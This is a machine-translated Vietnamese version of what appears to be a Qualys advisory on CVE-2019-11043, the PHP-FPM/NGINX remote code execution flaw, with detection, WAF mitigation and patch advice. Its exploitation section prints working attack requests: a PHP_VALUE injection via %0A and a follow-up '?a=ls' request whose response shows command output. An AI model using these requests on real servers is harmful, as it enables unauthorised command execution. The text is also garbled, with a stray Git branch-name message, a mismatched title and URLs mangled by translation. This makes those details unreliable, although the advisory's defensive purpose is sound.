Khai thác php 7.0.33

Một thẻ đã tồn tại với tên chi nhánh được cung cấp. Nhiều lệnh Git chấp nhận cả tên thẻ và tên nhánh, vì vậy việc tạo nhánh này có thể gây ra hành vi không mong muốn. Bạn có chắc chắn muốn tạo nhánh này không?

Một số phiên bản PHP 7 chạy trên NGINX có bật php-fpm có thể dễ bị lỗ hổng thực thi mã từ xa CVE-2019-11043

Do tính đơn giản của việc khai thác, tất cả các máy chủ web sử dụng phiên bản PHP có lỗ hổng nên được nâng cấp lên phiên bản PHP không có lỗ hổng càng sớm càng tốt. Do lỗ hổng bị giới hạn ở các cấu hình cụ thể nên số lượng cài đặt dễ bị tấn công ít hơn so với mức có thể

Qualys Web Application Scanning (WAS) sẽ kiểm tra lỗ hổng này miễn là QID 150270 và 150271 được bao gồm trong quá trình quét của bạn. Chúng tôi khuyến nghị các tổ chức khắc phục ngay tất cả các hệ thống dễ bị tổn thương. Trong khi sẵn sàng vá lỗi, bạn có thể dễ dàng triển khai một bản vá ảo thông qua các mẫu dựng sẵn trong Tường lửa ứng dụng web Qualys

Hướng dẫn khắc phục được bao gồm dưới đây

Phạm vi lỗ hổng & chi tiết

Phiên bản PHP 7. 1. x dưới 7. 1. 33, 7. 2. x dưới 7. 2. 24 và 7. 3. x dưới 7. 3. 11 dễ bị tổn thương theo CVE-2019-11043

Sau khi thử nghiệm các kết hợp khác nhau giữa phiên bản máy chủ và PHP, chúng tôi đã xác định rằng chỉ các phiên bản PHP 7 trên máy chủ NGINX có bật PHP-FPM, Trình quản lý quy trình FastCGI cho PHP, mới có thể bị tấn công. Nghiên cứu của chúng tôi và các chi tiết được cung cấp tại https. // lỗi. php. mạng/lỗi. php?id=78599 cho biết lỗ hổng là do mã trong fpm_main. c. Lệnh fastcgi_split_path_info chỉ được kích hoạt trên các máy chủ NGINX, vì vậy không có máy chủ nào khác có khả năng bị ảnh hưởng

RCE có thể ở một số cấu hình nhất định của thiết lập FPM khi có thể khiến mô-đun FPM ghi các bộ đệm được phân bổ trong quá khứ vào không gian dành riêng cho dữ liệu giao thức FCGI

Khai thác

Kẻ tấn công có thể thực thi các lệnh hệ thống bằng cách sử dụng các yêu cầu thủ công. Do tác động của việc khai thác, điều rất quan trọng là phải hiểu lỗ hổng. Đầu tiên là về việc tràn env_path_info với dữ liệu đã sửa đổi, bằng cách gửi một yêu cầu được tạo cụ thể (lưu ý ký tự nguồn cấp dữ liệu, hex %0A, trong yêu cầu) như bên dưới

LỜI YÊU CẦU

GET /index.php/PHP_VALUE%0Asession.auto_start=1;;;?QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1
Host: foo.domain.com
User-Agent: Mozilla/5.0

Thông thường, kẻ tấn công sẽ chạy yêu cầu này trong một vòng lặp để lây nhiễm càng nhiều công nhân càng tốt. Sau khi bị xâm phạm, bất kỳ yêu cầu nào nhắm mục tiêu tham số chuỗi truy vấn có tên ngắn đơn giản như “a” hoặc “z” sẽ cho phép kích hoạt thực thi lệnh, vì giá trị của tham số sẽ được thực thi trên hệ thống, điều này sẽ gây ra ít nhiều tác hại. Yêu cầu đó rất đơn giản để kích hoạt, nhưng hãy nhớ rằng nó phải được xử lý bởi một nhân viên bị nhiễm bệnh để thành công

Yêu cầu sau kích hoạt RCE

LỜI YÊU CẦU

GET /script.php?a=ls HTTP/1.1
Host: foo.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

PHẢN ỨNG

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 28 Oct 2019 21:59:21 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.1.33dev
Content-Length: 35
index.nginx-debian.html
script.php

Phát hiện lỗ hổng với Qualys WAS

Có một vài điều kiện tiên quyết để lỗ hổng có thể bị khai thác

  • Một phiên bản dễ bị tấn công của PHP được cài đặt
  • Máy chủ cơ bản là NGINX
  • php-fpm được bật

Cách tiếp cận đơn giản nhất là quét các ứng dụng của bạn để tìm QID 150271 bằng Quét ứng dụng web Qualys để kiểm tra xem chúng có dễ bị tấn công hay không. Chúng tôi cũng khuyên bạn nên quét khi đã bật QID 150270, tính năng này sẽ báo cáo nếu lỗ hổng đã bị khai thác

Ngoài ra, hãy làm theo các bước bên dưới để kiểm tra thủ công xem ứng dụng của bạn có dễ bị tấn công hay không

1. Kiểm tra phiên bản PHP ứng dụng của bạn thông qua phpinfo. ini hoặc dòng lệnh

  • phpinfo() sẽ cung cấp cho bạn thông tin chi tiết về phiên bản như một phần của Thông tin cốt lõi

Khai thác php 7.0.33

  • bạn có thể tự chạy lệnh sau trên máy chủ
root@c3c5de5838b9:/var/www/html# php -v
PHP 7.1.33dev (cli) (built: Oct 28 2019 20:44:33) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies

2. Kiểm tra cấu hình cài đặt php của bạn

  • hàm phpinfo() sẽ cung cấp cho bạn thông tin chi tiết về cấu hình

Khai thác php 7.0.33

  • bạn có thể tự chạy lệnh sau trên máy chủ
root@c3c5de5838b9:/var/www/html# php -i|grep fpm
Configure Command =>  './configure'  '--enable-fpm' '--without-pear'

Bảo vệ với Qualys WAF

Nếu tổ chức của bạn không thể nâng cấp máy chủ của họ lên phiên bản PHP không dễ bị tổn thương, bạn có thể tận dụng quy tắc được viết sẵn trong Tường lửa ứng dụng web Qualys (WAF) để tránh bị khai thác

Cụ thể, Qualys WAF giảm thiểu CVE-2019-11043 bằng cách sử dụng Chính sách chung của Qualys, chủ yếu phát hiện RPO (Ghi đè đường dẫn tương đối qua QID 226020) dựa trên hình dạng của tải trọng ban đầu (linefeed hex %0A). RCE tiếp theo đối với công nhân bị nhiễm bệnh sẽ kích hoạt QID 226008 (RCE) cùng với QID 150011 (LFi). Nhờ tích hợp hai chiều, riêng, Qualys WAS có thể xác nhận tính hiệu quả của việc giảm thiểu bằng cách chạy QID 150270 và tính năng ScanTrust chống lại WAF

Dung dịch

Vá hệ thống của bạn. Lỗ hổng đã được sửa trong PHP 7. 2. 24 và 7. 3. 11

Cách tốt nhất là luôn khởi chạy quét với Qualys WAS sau khi vá lỗi để đảm bảo máy chủ của bạn không dễ bị tấn công sau khi nâng cấp. QID 150271 sẽ được báo cáo nếu máy chủ của bạn vẫn dễ bị tấn công

Tín dụng

Mục nhập CVE đã được tạo vào ngày 26 tháng 9 năm 2019

  • https. //cve. mũ lưỡi trai. org/cgi-bin/cvename. cgi?name=CVE-2019-11043
  • https. // lỗi. php. mạng/lỗi. php?id=78599

Tín dụng cho khám phá này thuộc về nhà nghiên cứu bảo mật Wallarm, Andrew Danau. Andrew tình cờ phát hiện một hành vi tập lệnh PHP bất thường khi tham gia Capture The Flag (CTF) diễn ra vào ngày 14 – 16 tháng 9 năm 2019

Lỗ hổng bắt đầu được chú ý sau một tweet về RCE vào ngày 22 tháng 10 từ Omar ‘Beched’ Ganiev, một chuyên gia kiểm tra xâm nhập và bảo mật ứng dụng có kinh nghiệm.

Nghiên cứu của Qualys đã xác định rằng lỗ hổng chỉ ảnh hưởng đến các máy chủ NGINX có bật PHP-FPM